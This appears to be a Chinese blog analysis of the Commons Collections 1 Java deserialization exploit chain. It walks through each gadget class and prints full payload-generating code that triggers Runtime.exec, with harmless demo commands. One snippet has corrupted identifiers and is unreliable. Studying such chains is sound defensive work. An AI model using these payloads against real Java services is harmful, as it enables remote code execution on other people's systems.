简介

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
需要知识点

适用版本:3.1-3.2.1,jdk1.8以前

原理

首先我们先来看主要的利用代码,主要内容就是构建一个transformers数组,然后通过ConstantTransformer返回对象和InvokerTransformer反射调用对象方法,然后实例化通过ChainedTransformer将transformers数组循环串联起来形成恶意的利用链。接着实例化Map对象,通过TransformedMap.decorate()将Map转化为TransformedMap(这个过程就会调用transform方法从而执行之前的利用链)。接下来就是触发条件了,加载AnnotationInvocationHandler类,反射调用它的构造函数,然后获取实例,传入一个Map对象就能够自动的触发...

public class PayloadGeneration {    
    public static Object generateExecPayload(String cmd) throws Exception
    {
        Transformer[] transformers = new Transformer[] {             
                new ConstantTransformer(Runtime.class),                        
                new InvokerTransformer("getMethod",                  //方法名       
                        new Class[] {String.class, Class[].class },  //参数类型
                        new Object[] {"getRuntime", new Class[0] }), //参数值
                new InvokerTransformer("invoke", 
                        new Class[] {Object.class, Object[].class }, 
                        new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        //new Object[] {"touch /home/angelwhu/tmp/pwned"})
                        new Object[] {cmd})
            };
        return getPayloadObject(transformers);
    }
    
    private static Object getPayloadObject(Transformer[] transformers) throws Exception 
    {
        Transformer transformerChain = new ChainedTransformer(transformers);         4
    
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
    
        Map outmap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    
        Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });  
        ctor.setAccessible(true);  //取消构造函数修饰符限制
        Object instance = ctor.newInstance(new Object[] { Retention.class, outmap });         //传入一个正常参数,并传入构造好的TransformedMap对象
        return instance;
    }
}
    
public void exploitTest() throws Exception
{
    Object exploitObject = PayloadGeneration.generateExecPayload("calc");
    
     //We'll write the serialized data to a file "exploitObject.ser"
    FileOutputStream fos = new FileOutputStream("exploitObject.ser");
    ObjectOutputStream os = new ObjectOutputStream(fos);
    os.writeObject(exploitObject);
    os.close();

    //Read the serialized data back in from the file "exploitObject.ser"
    FileInputStream fis = new FileInputStream("exploitObject.ser");
    ObjectInputStream ois = new ObjectInputStream(fis);
    //Read the object from the data stream
    PersonEntity objectFromDisk = (PersonEntity)ois.readObject();
    ois.close();
}

首先先构建了一个Transformer数组,Transformer是一个接口,他定义的数组都是继承这个接口的类。

  • ConstantTransformer类

将传入的对象赋值给iConstant,然后在实现Transformer的接口方法中,会返回这个类,代码如下:

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}
  • InvokerTransformer类

可以通过调用Java的反射机制来调用任意函数,代码如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}
public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);//这里便是我们关注的利用反射机制进行方法调用。  
        return method.invoke(input, iArgs);
    
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}
  • ChainedTransformer类

将多个Transformer还能串起来,可以形成一个ChainedTransformer,它也继承了Transformer接口,这里就是将之前存在Transformer数组里边的InvokerTransformer类迭代形成执行代码链,具体代码如下:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);  //迭代了Object
    }
    return object;
}
  • TransformedMap类

该类是对Map接口的一个扩展。该类在当Map被加入时,可以调用decorate()函数对该Map进行特定的修饰变换,具体的变换逻辑由Transformer类定义,decorate()函数如下:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {  
       return new TransformedMap(map, keyTransformer, valueTransformer);
  }

TransformedMap中有个checkSetValue方法,每当调用map的setValue方法时,该方法将会被调用。

public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
}

然后,就是调用transformer方法。 流程即为:setValue ==> checkSetValue ==> valueTransformer.transform(value)。

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}
  • AnnotationInvocationHandler类

包含一个Map对象属性,其readObject方法有自动修改自身Map属性的操作,将TransformedMap当做参数,传入memberValues值中。当java每次读取序列化对象是,就会触发命令执行的Transform链。

private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
    
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    
    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);//判断第一个参数是否为AnnotationType,因此使用Retention.class传入较好。  
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }
    
    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||    // 获取的值不是annotationType类型,便会触发setValue。这里只需用简单的String即可触发。
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(               // 此处触发一些列的Transformer
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

ysoserial中的利用方式

主要代码

public class CommonsCollectionPayload {
    static String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    //getInvocationHandler用于获取名为handler的InvocationHandler实例,并将map传入成员变量memberValues
    public static InvocationHandler getInvocationHandler(String handler, Map<String, Object> map) throws Exception {
        //获取构造函数
        final Constructor<?> ctor = Class.forName(handler).getDeclaredConstructors()[0];
        //获取handler的私有成员的访问权限,否则会报 can not access a member of class sun.reflect.annotation.AnnotationInvocationHandler
        Permit.setAccessible(ctor);
        //实例化
        return (InvocationHandler) ctor.newInstance(Override.class, map);
    }
    //createMyproxy用于返回handler为ih,代理接口为iface的动态代理对象
    public static <T> T createMyproxy(InvocationHandler ih, Class<T> iface) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
        allIfaces[0] = iface;
        return iface.cast(Proxy.newProxyInstance(CommonsCollectionPayload.class.getClassLoader(), allIfaces, ih));
    }
    //setFieldValue用于设置obj对象的成员变量fieldName的值为value
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = null;
        try {
            //获取私有成员变量
            field = obj.getClass().getDeclaredField(fieldName);
            //获取私有成员变量访问权限
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        String[] execArgs = new String[]{"open /Applications/Calculator.app/"};
        // inert chain for setup
        Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{new ConstantTransformer(1)});
        // real chain for after setup
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, execArgs),
                new ConstantTransformer(1)};
        //下面这部分为RCE的关键部分代码
        Map innerMap = new HashMap();
        //生成一个lazyMap对象,并将transformerChain赋值给对象的factory成员变量
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //创建一个Map接口的代理,并且为这个代理设置一个memberValues为lazyMap的AnnotationInvocationHandler
        Map mapProxy = (Map) createMyproxy(getInvocationHandler(ANN_INV_HANDLER_CLASS, lazyMap),Map.class);
        //创建一个memberValues为mapProxy的AnnotationInvocationHandler对象,这个对象也就是我们反序列化利用的恶意对象
        InvocationHandler handler = getInvocationHandler(ANN_INV_HANDLER_CLASS, mapProxy);
        //通过反射的方式进行赋值,即使赋值在生成对象之后也没有关系
        setFieldValue(transformerChain, "iTransformers", transformers);
        //将恶意对象存储为字节码
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(handler);
        oos.flush();
        oos.close();
        //读取恶意对象字节码并进行反序列化操作
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object evilObject = ois.readObject();
        ois.close();
    }
}

利用链

cc12.png

LazyMap类:和TransformedMap类一样,有个decorate方法,可以传入上述的transformer变换类,并且存在get方法去触发transform操作:

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

而且在AnnotationInvocationHandler类的invoke方法中,发现了调用memberValues.get(Object)方法。

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();
    ...
    Object result = memberValues.get(member);//触发transform操作。
    ...
    return result;
}

LazyMap.get可以在AnnotationInvocationHandler.invoke中被调用,只要给LazyMap设置动态代理,LazyMap调用方法的时候就能调用invoke,而AnnotationInvocationHandler的readobject中又调用了LazyMap.entrySet方法,最后需要将map传入AnnotationInvocationHandler的构造函数。

private void readObject(objectInputStream var1) throws IOException, CLassNotFoundExceptior{
    var1.defaultReadobject();
    AnnotationType var2 = null;
    try{
        var2 = AnnotationType. getInstance(this. type);
    }catch (ftlegatArgumentException var9){
        return;
    }
    Map var3=var2.memberTypes();
    Iterator var4 = this.memberValues. entrySet().iterator();
}

参考文章

雷神众测ysoserial分析之Commons Collections1
java反序列化漏洞原理分析

Last modification:April 21st, 2020 at 07:51 pm